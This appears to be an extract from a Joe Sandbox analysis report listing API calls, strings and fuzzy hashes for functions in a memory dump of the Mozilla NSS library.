Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

TlsGetValue.KERNEL32 ref: 6C7A4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C7A4DEC
PR_Unlock.NSS3(?), ref: 6C7A4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C7A4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C7A4E71
free.MOZGLUE(00000000), ref: 6C7A4E7A
PR_Unlock.NSS3(?), ref: 6C7A4EA2
TlsGetValue.KERNEL32 ref: 6C7A4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C7A4ED6
PR_Unlock.NSS3(?), ref: 6C7A4F01
free.MOZGLUE(00000000), ref: 6C7A4F2A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 281db75a48b73e41ab6e48f11eb5fe61a554d22df60a22f5e57bd025deca275d
Instruction ID: f2f88d1a5d47b02d8d68c14ff37db6f7ebd941125db434128a0b5e03af36da10
Opcode Fuzzy Hash: 281db75a48b73e41ab6e48f11eb5fe61a554d22df60a22f5e57bd025deca275d
Instruction Fuzzy Hash: A1B12571A00205AFDB10DFA8DD44AAA77B4BF0931CF045234ED1597B01EB32E966CBE1

Function 6C775DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C775DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C775E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C775E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C775E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C775EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C775ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C775F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C775F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C775F89
free.MOZGLUE(?), ref: 6C775FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C775FB6
free.MOZGLUE(00000000), ref: 6C775FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C77600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C776079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C776084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C776094

Strings

, xrefs: 6C775EEB

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: a2dd0a24d9a8d436af84cf3465aa228981ee6e450579996d7af89ae138fc6897
Instruction ID: 9cfcf9307501b347aa9e188404ea8d21e96c247781dfc9ab92541d6c719978c8
Opcode Fuzzy Hash: a2dd0a24d9a8d436af84cf3465aa228981ee6e450579996d7af89ae138fc6897
Instruction Fuzzy Hash: 9A81F6B1E002099BDF608F68EE85BAE77B5AF45318F144538E819A7781E7319904CBF2

Function 6C879C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C879C70
PR_NewLock.NSS3 ref: 6C879C85

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PR_NewCondVar.NSS3(00000000), ref: 6C879C96

Part of subcall function 6C74BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7521BC), ref: 6C74BB8C

PR_NewLock.NSS3 ref: 6C879CA9

Part of subcall function 6C8298D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C829946
Part of subcall function 6C8298D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E16B7,00000000), ref: 6C82994E
Part of subcall function 6C8298D0: free.MOZGLUE(00000000), ref: 6C82995E

PR_NewLock.NSS3 ref: 6C879CB9
PR_NewLock.NSS3 ref: 6C879CC9
PR_NewCondVar.NSS3(00000000), ref: 6C879CDA

Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C74BBEB
Part of subcall function 6C74BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C74BBFB
Part of subcall function 6C74BB80: GetLastError.KERNEL32 ref: 6C74BC03
Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C74BC19
Part of subcall function 6C74BB80: free.MOZGLUE(00000000), ref: 6C74BC22

PR_NewCondVar.NSS3(?), ref: 6C879CF0
PR_NewPollableEvent.NSS3 ref: 6C879D03

Part of subcall function 6C86F3B0: PR_CallOnce.NSS3(6C8C14B0,6C86F510), ref: 6C86F3E6
Part of subcall function 6C86F3B0: PR_CreateIOLayerStub.NSS3(6C8C006C), ref: 6C86F402
Part of subcall function 6C86F3B0: PR_Malloc.NSS3(00000004), ref: 6C86F416
Part of subcall function 6C86F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C86F42D
Part of subcall function 6C86F3B0: PR_SetSocketOption.NSS3(?), ref: 6C86F455
Part of subcall function 6C86F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C86F473

Part of subcall function 6C829890: TlsGetValue.KERNEL32(?,?,?,6C8297EB), ref: 6C82989E

EnterCriticalSection.KERNEL32(?), ref: 6C879D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C879DAF
_PR_CreateThread.NSS3(00000000,6C879EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C879D9F

Part of subcall function 6C74B3C0: TlsGetValue.KERNEL32 ref: 6C74B403
Part of subcall function 6C74B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C74B459

_PR_CreateThread.NSS3(00000000,6C87A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C879DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C879DFC
_PR_CreateThread.NSS3(00000000,6C87A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C879E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C879E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C879E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C879E89

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 67ec2fa45dae08d4c6da1dd41ed042503046fb0b893dcfe2a2e44a91bca523fc
Instruction ID: 2b4618da79f22b937da2ffcbc072148fbe14b127bbdd2b817e0cb98d2d237c87
Opcode Fuzzy Hash: 67ec2fa45dae08d4c6da1dd41ed042503046fb0b893dcfe2a2e44a91bca523fc
Instruction Fuzzy Hash: 3D611CB1900706AFD720DF75D948A6BBBE8FF09208B044939E859C7B51F770E854CBA1

Function 6C7B8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8E9E
PORT_ArenaAlloc_Util.NSS3(6C8C0B64,00000001,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C7B8E01), ref: 6C7B8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C8C0B64,6C8C0B64), ref: 6C7B8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C7B8F3F

Part of subcall function 6C7BA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C7BA421,00000000,00000000,6C7B9826), ref: 6C7BA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7B904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C7B8E76

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: c8a79f73bb9729f0fa74e7f6dbcbe74ee3738f4cbb8efc2da028121370002d3f
Instruction ID: db1837b4ca100e2e23d697aca6b33dbde1b5de5fa04d9c7e1c79377f0079a8f5
Opcode Fuzzy Hash: c8a79f73bb9729f0fa74e7f6dbcbe74ee3738f4cbb8efc2da028121370002d3f
Instruction Fuzzy Hash: 8D616FB5E0011AAFDB10CF55CE80AAEB7B9EF95358F144538EC28A7700E735A915CBB1

Function 6C768E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C768E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C768E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C768EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8918D0,?), ref: 6C768F03
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C768F19
PL_FreeArenaPool.NSS3(?), ref: 6C768F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C768F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C768F65
PL_FinishArenaPool.NSS3(?), ref: 6C768FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C768FFE
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C769012
PL_FreeArenaPool.NSS3(?), ref: 6C769024
PL_FinishArenaPool.NSS3(?), ref: 6C76902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C76903E

Strings

security, xrefs: 6C768EE7

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7df83288dabd1cc4dd5d722c56846f47ffa1065554a95dcdcc02857ee8742abb
Instruction ID: 157d1a4f7e002fe35fcbd498702c663e1299e8dbc9e9b0a51b54f668bbcd5a06
Opcode Fuzzy Hash: 7df83288dabd1cc4dd5d722c56846f47ffa1065554a95dcdcc02857ee8742abb
Instruction Fuzzy Hash: 14512871608200AFD7205A5ADF49BAB73A8AB8675CF44093EFD5597F80E731D908C793

Function 6C751C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C751C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C751C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C751CA1
GetLengthSid.ADVAPI32(?), ref: 6C751CA9
malloc.MOZGLUE(00000000), ref: 6C751CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C751CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C751CE4
GetLengthSid.ADVAPI32(?), ref: 6C751CEC
malloc.MOZGLUE(00000000), ref: 6C751CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C751D0F
CloseHandle.KERNEL32(?), ref: 6C751D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C751D4D
GetLastError.KERNEL32 ref: 6C751D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C751D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C751D7A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2f25c39e2833cb11dac94b3daf9c6cd8ad592fb7d85347501d8df636ef11e250
Instruction ID: 8baa42e86e877d730a999f88896e952eade4270300734afd8466c95b077e4d3e
Opcode Fuzzy Hash: 2f25c39e2833cb11dac94b3daf9c6cd8ad592fb7d85347501d8df636ef11e250
Instruction Fuzzy Hash: CC3165F1600218AFEF209F64CD49BAABBB8FF4A349F004475F50992651E7305994CFA9

Function 6C82CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C82CC7B), ref: 6C82CD7A

Part of subcall function 6C82CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C79C1A8,?), ref: 6C82CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C82CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CD8E

Part of subcall function 6C7505C0: PR_EnterMonitor.NSS3 ref: 6C7505D1
Part of subcall function 6C7505C0: PR_ExitMonitor.NSS3 ref: 6C7505EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C82CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C82CE48

Strings

getnameinfo, xrefs: 6C82CDB2, 6C82CE23
ws2_32.dll, xrefs: 6C82CD75
wship6.dll, xrefs: 6C82CDE3
freeaddrinfo, xrefs: 6C82CD9F, 6C82CE10
getaddrinfo, xrefs: 6C82CD88, 6C82CDF9

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c4d71be72d0d26a2a6421d1a45901c5e764f8927af4cee47671f848ca4ac3875
Instruction ID: cd53e3e8af7f88594747868dad4d708820862bf4a20883dc1bc1bc8ba555d4ec
Opcode Fuzzy Hash: c4d71be72d0d26a2a6421d1a45901c5e764f8927af4cee47671f848ca4ac3875
Instruction Fuzzy Hash: 1811B7A6E0212152FB3166796E4CDBA38585F0214DF540D35E805E2F42FF15CA54C6F2

Function 6C871C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8713BC,?,?,?,6C871193), ref: 6C871C6B
PR_NewLock.NSS3(?,6C871193), ref: 6C871C7E

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PR_NewCondVar.NSS3(00000000,?,6C871193), ref: 6C871C91

Part of subcall function 6C74BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7521BC), ref: 6C74BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C871193), ref: 6C871CA7

Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C74BBEB
Part of subcall function 6C74BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C74BBFB
Part of subcall function 6C74BB80: GetLastError.KERNEL32 ref: 6C74BC03
Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C74BC19
Part of subcall function 6C74BB80: free.MOZGLUE(00000000), ref: 6C74BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C871193), ref: 6C871CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C871193), ref: 6C871CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C871193), ref: 6C871CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C871193), ref: 6C871D1A

Part of subcall function 6C829BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C751A48), ref: 6C829BB3
Part of subcall function 6C829BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C751A48), ref: 6C829BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C871193), ref: 6C871D3D

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C871193), ref: 6C871D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C871193), ref: 6C871D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C871193), ref: 6C871D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C871193), ref: 6C871D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C871193), ref: 6C871D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C871193), ref: 6C871D93
PR_DestroyLock.NSS3(00000000,?,?,6C871193), ref: 6C871D9F
free.MOZGLUE(00000000,?,6C871193), ref: 6C871DA8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: f750a6bbadaced6eba89849db21c33facaa738d87b2ed3b14f3a54ada20dbf8e
Instruction ID: a5c7e8837ba0963ace47d7f47e59ff30f3b51760ecbae015b112f2fa638a7575
Opcode Fuzzy Hash: f750a6bbadaced6eba89849db21c33facaa738d87b2ed3b14f3a54ada20dbf8e
Instruction Fuzzy Hash: 9831C6F1E007015BEB309F25AE55A5B7AE4AF0560DF044838E84A87F41FB31E918CBE2

Function 6C785E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C785ECF
EnterCriticalSection.KERNEL32(?), ref: 6C785EE3
PR_Unlock.NSS3(?), ref: 6C785F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C785FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7861F4
S&zl, xrefs: 6C7862E3
S&zl, xrefs: 6C785E6C, 6C78627F, 6C785F12

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&zl$S&zl
API String ID: 2280678669-410128146
Opcode ID: 5c0ebff9f596391340630c17142bbb699f69f682f0f4fbf221cc709fb78117cf
Instruction ID: e299eef8e8eda62c7053370840fa958090a0474dde2913032dcaa931e4ff20c7
Opcode Fuzzy Hash: 5c0ebff9f596391340630c17142bbb699f69f682f0f4fbf221cc709fb78117cf
Instruction Fuzzy Hash: 30F126B4A012159FEB54CF18C984B86BBF4FF09304F1582AAD9089F746E774DA94CF91

Function 6C7D0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,}l), ref: 6C7D0C81

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

Part of subcall function 6C7A8500: SECOID_GetAlgorithmTag_Util.NSS3(6C7A95DC,00000000,00000000,00000000,?,6C7A95DC,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0CC4

